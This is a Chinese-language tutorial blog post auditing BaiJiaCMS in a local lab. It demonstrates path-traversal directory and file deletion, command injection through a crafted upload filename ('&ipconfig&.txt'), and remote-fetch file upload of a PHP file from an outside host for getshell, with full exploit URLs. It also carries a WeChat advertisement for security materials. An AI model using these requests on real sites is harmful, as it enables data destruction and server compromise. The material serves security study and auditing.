代碼審計之旅之百家CMS

前言

之前審計的CMS大多是利用工具,即Seay+崑崙鏡聯動掃描出漏洞點,而後進行審計。感覺自己的能力仍與零無異,因此本次審計CMS絕大多數使用手動探測,即通過搜索危險函數的方式進行漏洞尋找,以此來提升審計能力,希望對正在學習代碼審計的師傅能有所幫助。

環境搭建

源碼鏈接如下所示https://gitee.com/openbaijia/baijiacms安裝至本地後,我這裏是phpstudy+win10,所以直接解壓到phpstudywww目錄下即可。

在這裏插入圖片描述

接下來去創建一個數據庫用於存儲CMS信息。(在Mysql命令行中執行)

在這裏插入圖片描述

接下來訪問CMS,會默認跳轉至安裝界面。

在這裏插入圖片描述

數據庫名稱和賬密注意一下就好,其他隨便寫。

在這裏插入圖片描述

而後安裝成功,可以開始進行審計了。

審計

準備工作

我們拿到一套源碼時,首先需要對具體文件夾進行一次分析,這樣才能對CMS有一個初步的印象,爲後續審計做一些鋪墊。根目錄如下所示:

在這裏插入圖片描述

其對應目錄解釋如下:

addons     插件
api        接口
assets     靜態文件
attachment 上傳目錄
cache      緩存目錄
config     系統文件
include    系統文件
system     後端代碼

針對system目錄,這個較爲常用,我們可以對其進行進一步分析。

system 系統模塊目錄
 ├─alipay 支付寶服務窗模塊
 ├─bonus 優惠券模塊
 ├─common 公共函數模板
 ├─index 登錄頁
 ├─member 會員模塊
 ├─modules 可再擴展模塊和模塊管理
 ├─public 公共模塊
 ├─shop 後臺商城模塊
 ├─shopwap 前臺商城模塊
 ├─user 系統用戶
 └─weixin 微信模塊

對這些有過了解後,還需要看的就是一些後端支撐文件,例如這種xxxinc.php文件,他們常常存在一些漏洞,進而導致CMS出現漏洞。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

在這裏插入圖片描述

所以簡單閱讀一下這些也是有必要的。接下來準備工作做完,就開始下一步。

路由解析

對一個CMS進行漏洞探測前,我們需要首先需要對CMS的路由有所瞭解。這裏我們直接訪問默認頁面baijiacms-master/index.php,然後登錄後臺,這裏說一下我自己認爲找路由還可以的方法,就是關注一些特別點,好找一些,比如這裏的修改密碼界面。

在這裏插入圖片描述

我們點擊它,發現此時的路由如下:

baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1

接下來我們在Vscode中進行全局搜索,搜password=

在這裏插入圖片描述

結果如下,可以發現它的路徑。

baijiacms-master\system\manager\class\web\changepwd.php

再找到它的具體位置。

在這裏插入圖片描述

我們將它與之前看到的路由進行比對,就可以發現act其實是system文件夾下的文件夾名稱,do是所選擇具體文件的名稱,對這些有個初步的瞭解,待會找到文件時能在網頁中訪問即可。

漏洞查找

這裏Seay+關鍵詞搜索的方式進行漏洞查找。

SQL注入

疑點一(失敗)

發現有很多疑似注入點,從第一個開始跟進看。

在這裏插入圖片描述

文件路由/addons/activity/class/mobile/index.php重點代碼。

global $_W,$_GPC;
​
$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = "活動報名入口";
​
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

可以看到uniacid變量確實未被單引號包裹,可能存在注入,但我們這裏注意到它是$_W['uniacid'],追溯$_W,看到global $_W,$_GPC;,這個是全局變量,所以我們直接在vscode中進行查找(ctrl+shift+f全局搜索)

在這裏插入圖片描述

發現$_GPC=$_GP,所以我們只需要確定$_GP,就

可以確定$_GPC,接下來尋找$_GP,最終在baijiacms.php中發現此變量

在這裏插入圖片描述

這裏的話可以看出是對所有方法請求的參數進行了一個stripslashes函數處理,而後將參數進行了合併,合併後對數組內的參數依次進行遍歷,進行htmlspecialchars函數處理,而後將實體字符&amp替換爲&。不過這個是$_GPC的,但都是全局變量,$_W應該也類似,接下來再跟着看一下,我們全局搜索$_W=

在這裏插入圖片描述

這裏可以發現$W=$_CMS,同時看出我們的$_W['uniacid']=$_CMS['beid'],接下來搜索$_CMS['beid']=

在這裏插入圖片描述

找到它等同於一個函數,即getDomainBeid函數,所以接下來尋找getDomainBeid函數。

在這裏插入圖片描述

function getDomainBeid()
{
        global $_GP;
​
            $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));
    
​
    
    if(empty($system_store['id']))
    {
        if(!empty($_GP['beid']))
        {
            $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));
            if(empty($system_store['id']))
            {
                message("未找到相關店鋪");
            }
            if(!empty($system_store['isclose']))
            {
            message("店鋪已關閉無法訪問");   
            }
        
            return $system_store['id']; 
        }else
        {
        return "";  
        }
    }else
    {
            if(!empty($system_store['isclose']))
            {
            message("店鋪已關閉無法訪問");   
            }
        
        return $system_store['id'];
    }
}

這裏可以看出system_store是由系統數據庫中查出來的數據,這個對我們來說是不可控的,我們可控的是$_GP['beid'],此時看着一個SQL語句。

$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id  and `deleted`=0",array(":id"=>$_GP['beid']));

如果我們的數據正常,他的結果應該是:

id  isclose
xx  xxxxxxx
xx  xxxxxxx

而當我們輸入beidxx and sleep(2)這種,它毫無疑問是不會有查詢結果的,這也就意味着$system_store['id'],而這個函數的最終結果是return $system_store['id'];,那麼此時它就會返回空值,那麼回到這個SQL語句。

pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);

如果我們那裏正常,想讓返回的不爲空值,那麼這個$_W['uniacid']只能接收到正常的id,也就是數據庫中存儲着的id值,所以這裏是無法進行SQL注入的。

類似這個的還有如下文件:

文件名:system/eshop/core/mobile/commission/team.php
部分PHP代碼
$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition}  ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
        
文件名: /addons/activity/class/web/activity.php
部分PHP代碼:
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

文件名:/addons/activity/class/mobile/join.php
部分PHP代碼:
$row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );

文件名:/addons/activity/class/web/records.php
部分PHP代碼:
$row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");

文件名:/system/eshop/core/web/shop/dispatch.php
部分PHP代碼:
$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");

文件名: /system/eshop/core/web/virtual/category.php
部分PHP代碼:
$list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");

疑點二(失敗)

文件路徑/system/common/model/virtual.php

在這裏插入圖片描述這裏發現參數id,跟進id變量,發現來源於

public function updateGoodsStock($id = 0)
        {
            global $_W, $_GPC;
            $goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(
                ':id' => $id,
                ':uniacid' => $_W['uniacid']
            ));

發現這裏的id是直接賦值爲0的,我們是不可控的,所以不存在注入。

任意目錄及文件刪除

關於漏洞尋找,大多是從一些敏感函數入手,如果覺得Seay掃描的不夠全面,我們可自行查找,對於文件刪除,我們這裏首先想到的就是unlink函數,所以我們這裏打開Vscodectrl+shift+f全局搜索unlink函數。

在這裏插入圖片描述

這裏注意到有多個文件,jscss前端文件自不必看,我們這裏要關注的是php文件,接下來從第一個開始看。

疑點一

文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代碼如下:

function rmdirs($path='',$isdir=false)
{
        if(is_dir($path))//判定變量是否爲目錄
        {
                $file_list= scandir($path); //查看路徑下的文件
                foreach ($file_list as $file)//依次遍歷
                {
                    if( $file!='.' && $file!='..')//如果不是.和..
                    {
                        if($file!='qrcode')
                        {
                        rmdirs($path.'/'.$file,true);//刪除目錄下的文件
                      }
                    }
                }
                
            if($path!=WEB_ROOT.'/cache/')//如果變量名不是根目錄拼接cache
            {
                @rmdir($path);   //刪除目錄
                   
          }    
        }
        else
        {
            @unlink($path); 
        }
     
}

可以看到當它判定變量爲目錄時,會對目錄下的文件進行遞歸,而後刪除一切文件,如果它不是目錄,那麼他此時就會直接刪除這個文件。接下來有函數了,那我們就要看哪個文件利用了這個函數,然後來進行利用。所以接下來全局搜索函數

在這裏插入圖片描述

在文件baijiacms-master\system\manager\class\web\database.php中發現如下代碼:

				 if($operation=='delete')
 {
 		$d = base64_decode($_GP['id']);

 			$path = WEB_ROOT . '/config/data_backup/';
		if(is_dir($path . $d)) {
			rmdirs($path . $d);
			message('備份刪除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
		}
}

可以發現這裏對變量進行了base64_decode處理,這下我們想刪除的目錄的話,我們首先需要對他進行一個base64編碼,同時我們可以看到這裏指定了路徑。

$path = WEB_ROOT . '/config/data_backup/';

但這個我們其實是可以繞過的,後續只校驗了是不是目錄,而未限定目錄,所以我們通過burpsuite抓包修改目錄就可以實現任意目錄刪除。

接下來進行利用嘗試首先我們在根目錄下新建一個目錄(名字隨便,我這裏爲qwq)。

在這裏插入圖片描述

接下來訪問這個數據庫備份界面,具體路由如下:

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1

在這裏插入圖片描述

開啓bp抓包,點擊刪除功能點。發送到重放包界面,修改id爲Li4vLi4vcXdx(../../qwq的Base64編碼形式)

在這裏插入圖片描述

此時再回根目錄查看。

在這裏插入圖片描述

疑點二

除了rmdirunlink,我們常常還可以關注delete函數,因爲他直譯過來也是刪除的意思,所以接下來就全局進行搜索delete()

在這裏插入圖片描述

而後在includes\baijiacms\common.inc.php中發現相關代碼,具體代碼如下:

function file_delete($file_relative_path) {

	if(empty($file_relative_path)) {
		return true;
	}
	
	$settings=globaSystemSetting();
	if(!empty($settings['system_isnetattach']))
		{
				if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
			$ftp=new baijiacms_ftp();
		if (true === $ftp->connect()) {
			if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
				return true;
			} else {
				return false;
			}
		} else {
			return false;
		}
	} 
		if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
		$oss=new baijiacms_oss();
		$oss->deletefile($file_relative_path);
		return true;
	}
}else
{
		if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
		unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
		return true;
	}
	
	}
	return true;
}

這裏重點關注這一個

	if(!empty($settings['system_isnetattach']))

當這個執行通過時,就不會去刪除,反之,直接將文件刪除,因此我們有必要去找一下這個是什麼東西,照舊,全局搜索。

在這裏插入圖片描述

這裏發現是遠程附件,因此我們這裏選擇本地的話,按理說就可直達else,對文件進行直接刪除,訪問具體路由。

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1

在這裏插入圖片描述

接下來就設置好了,接下來去尋找運用了這個file_delete函數的文件,全局搜索一下。

在這裏插入圖片描述

文件路由爲system\eshop\core\mobile\util\uploader.php,部分代碼如下:

} elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}

因此我們這裏訪問這個路由並設置operationremove,按理說就可以直接刪文件了,接下來嘗試利用。

首先在根目錄新建文件,這裏命名爲qwq.txt

在這裏插入圖片描述

接下來訪問路由。

http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt

在這裏插入圖片描述

此時查看根目錄。

在這裏插入圖片描述

文件已成功刪除。

同時,我們剛剛還看到了不止這一個文件利用了delete函數,另外的是否存在呢,我們來看一下文件路由system\eshop\core\web\shop\category.php,具體代碼:

elseif ($operation == 'post') {
        ...
        ...
        ...
        if (!empty($id)) {
            unset($data['parentid']);
            pdo_update('eshop_category', $data, array(
                'id' => $id
            ));
            
            file_delete($_GPC['thumb_old']);
          

這裏可以發現想刪除文件,需要有三個條件:

1、$operation == 'post'
2、$id不爲空
3、$_GPC['thumb_old']爲具體文件名

所以我們按理說的話,我們去訪問這個路由,然後修改$operationpost,添加參數$id=1,同時附加參數$thumb_old爲想刪除文件名即可實現刪除文件,這個$operation在前面可以看到其實是參數op

在這裏插入圖片描述

所以我們直接給op賦值爲post,即可實現文件刪除,接下來進行嘗試。

在根目錄新建文件qwq2.txt

在這裏插入圖片描述

接下來訪問路由。

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt

此時即可實現刪除文件。

命令執行

針對命令執行,我們關注的函數肯定是evalsystemexec這幾個,所以接下來就嘗試去利用Vscode的全局搜索來尋找可疑點。首先搜索的是eval

在這裏插入圖片描述

找到的大多數是帶有eval的關鍵詞而非eval函數,只有寥寥幾個文件涉及了eval函數,接下來進行簡單分析。

疑點一(失敗)

文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php,部分代碼如下:

function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");

  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
  }
  if(data.status==-1)
  {
  alert("登錄失敗!重新刷新二維碼登錄");	
  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";
  }
});
} 

這裏的話可以看出是js類代碼,簡單分析一下這個函數,不難發現參數第一個是取對應的URL,第二個函數,也就是function(data),它是對從第一個URL中提取出的參數進行執行,這裏我們接着看函數,它這裏當執行過函數後,對結果的狀態取值進行了判斷,結果爲1時判斷爲登錄成功,就會跳轉至另一個界面,而當爲-1時就會登錄失敗,重回登錄界面,所以我們這裏可以看到他其實是不存在輸出執行結果的地方的,所以我們根本無從下手,這裏是無法實現命令執行的,所以Pass。

類似的文件還有如下幾個,亦不必再看。

文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
部分代碼:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
​
  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
  }
  if(data.status==-1)
  {
  alert("登錄失敗!重新刷新二維碼登錄");  
  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";
  }
});
} 
setInterval("checkstatus()",2000);
​
文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
部分代碼:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
​
  if(data.status==1)
  {
 location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";
  }
  if(data.status==-1)
  {
  alert("登錄失敗!重新刷新二維碼登錄");  
  location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";
  }
});
} 
setInterval("checkstatus()",2000);

疑點二

接下來我們關注system函數,直接Vscode全局搜。

在這裏插入圖片描述

最終在includes\baijiacms\common.inc.php下找到system函數,其中部分代碼如下:

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
    
    $settings=globaSystemSetting();
    
        if(!file_move($file_tmp_name, $file_full_path)) {
            return error(-1, '保存上傳文件失敗');
        }
        if(!empty($settings['image_compress_openscale']))
        {
            
            $scal=$settings['image_compress_scale'];
            $quality_command='';
            if(intval($scal)>0)
            {
                $quality_command=' -quality '.intval($scal);
            }
                system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
        }
        ...
        ....
        .....

這裏可以看到是保存文件的,在其中進行了一個判斷是否上傳成功的,這個自不必在意,這裏我們看另一個:

if(!empty($settings['image_compress_openscale']))

這個是什麼意思呢,我們這裏可以看出如果這個判斷可以通過,而後就會對文件名和文件路徑進行一個system執行,那我們就有可能實現命令執行,因此我們的首要任務就是找到這個是什麼東西,所以接下來全局搜索image_compress_openscale

在這裏插入圖片描述

此時就找到了,它就是圖片壓縮功能,所以我們直接去開啓這個功能,這裏這個if判斷就可以通過啦,所以接下來首先去開啓這個,訪問路由如下:

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1

在這裏插入圖片描述

接下來我們跟進看一下哪個文件利用了這個函數,畢竟找到文件才能利用。

在這裏插入圖片描述

可以發現這裏的話對此函數進行了一個利用,具體代碼如下:

$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
        $extention=strtolower($extention);
    if($extention=='txt')
    {
               $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
               if(empty( $substr))
               {
                $substr="/";    
               }
           $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
​
        //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
                file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
​
                if($verify_root!=WEB_ROOT."/")
                {
                    copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
                }
​
         $cfg['weixin_hasverify']=$file['name'];
    }

這裏的話是對上傳文件進行了pathinfo函數處理,其實也就是獲取了拓展名(後綴名),當爲txt後綴時,會繼續往下進行,繼而調用這個file_save函數,所以我們這裏的思路就明瞭了,我們這裏新建一個文件,命名爲xxx命令.txt,此時按理說就可以達到一個命令執行的效果,接下來進行嘗試。

我們這裏新建一個txt文件,命名爲&ipconfig&.txt

在這裏插入圖片描述

接下來對其進行上傳,具體路由

http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1

接下來保存便可以看到效果。

在這裏插入圖片描述

任意文件讀取

疑點一(失敗)

文件路由/system/eshop/core/mobile/shop/util.php,重要代碼如下:

} else if ($operation == 'areas') {

        require_once WEB_ROOT . '/includes/lib/json/xml2json.php';
        $file    = ESHOP_AREA_XMLFILE;
        $content = file_get_contents($file);
        $json    = xml2json::transformXmlStringToJson($content);
        $areas   = json_decode($json, true);
    die(json_encode($areas));

其他暫且不看,我們這裏先看這兩個:

$file    = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);

本來直接包含$file的話,確實是可能存在文件讀取,但我們這裏可以看到它這裏是給$file直接賦值了,這個是什麼呢,我們全局搜索一下可以發現是一個xml文件。

在這裏插入圖片描述

那麼它對我們來說是不可控的,所以這裏就不存在文件讀取了,因此這裏屬於誤報,看下一處。

所以類似這種的可疑點不必再關注,這裏簡單列出幾個:

文件名:/system/eshop/core/web/sale/enough.php
部分代碼:
$content = file_get_contents($file);
​
文件名:/system/eshop/core/web/shop/dispatch.php
部分代碼:
$content = file_get_contents($file);

文件上傳

疑點一

文件上傳,這裏Seay並未掃到什麼,所以我們手動來進行尋找,對於文件上傳,最先想到的就是上傳二字,對應英文爲upload,所以直接Vscode全局搜索upload()

在這裏插入圖片描述

文件路由爲includes\baijiacms\common.inc.php,具體代碼如下:

function file_upload($file, $type = 'image') {
    if(empty($file)) {
        return error(-1, '沒有上傳內容');
    }
    $limit=5000;
    $extention = pathinfo($file['name'], PATHINFO_EXTENSION);
    $extention=strtolower($extention);
    if(empty($type)||$type=='image')
    {
    $extentions=array('gif', 'jpg', 'jpeg', 'png');
    }
    if($type=='music')
    {
    $extentions=array('mp3','wma','wav','amr','mp4');
    }
        if($type=='other')
    {
    $extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');
    }
    ...
    ...
}

這裏可以看到這個是進行了很多檢測的,對文件類型進行了檢測,且要求了後綴,所以這個函數應該是文件上傳不了了,但還好它不止一個有關upload的函數,我們往下看到這樣一個函數:

function fetch_net_file_upload($url) {
    $url = trim($url);
    
​
    $extention = pathinfo($url,PATHINFO_EXTENSION );
    $path = '/attachment/';
    $extpath="{$extention}/" . date('Y/m/');
​
        mkdirs(WEB_ROOT . $path . $extpath);
        do {
            $filename = random(15) . ".{$extention}";
        } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
    
    
    
    $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
        $file_relative_path = $extpath. $filename;
    if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
        $result['message'] = '提取失敗.';
        return $result;
    }
        $file_full_path = WEB_ROOT .$path . $extpath. $filename;
    return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

可以發現這個只對文件進行了pathinfo函數處理,取出其後綴名,然後拼接路徑及隨機數字來組成文件名,那麼我們如果通過這個函數進行文件上傳,按理說就可以上傳php文件實現getshell,接下來看看哪個文件利用了此函數。

在這裏插入圖片描述

文件路由system\public\class\web\file.php,具體代碼:

if ($do == 'fetch') {
    $url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
    if (is_error($file)) {
        $result['message'] = $file['message'];
        die(json_encode($result));
    }
    
}

接下來我們只需要滿足do=fetch,然後url中包含我們的文件,便可實現文件上傳,我這裏遠程文件內容如下:

在這裏插入圖片描述

接下來進行利用嘗試。訪問路由如下:

http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php

在這裏插入圖片描述

訪問給出的文件路徑。

在這裏插入圖片描述

可以發現此時已經實現了文件上傳,如果傳一句話木馬即可Getshell。

後言

本次CMS審計是小白的第一次大幅度利用手動搜索危險函數來尋找漏洞,共計耗時半周,對本小白來說已頗爲喫力,其中頗多審計失敗的點,雖審計失敗,但仍感覺對代碼能力有了進一步瞭解,也算有所收穫。最後,如果文章中有錯誤,還望各位大師傅多多指正。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章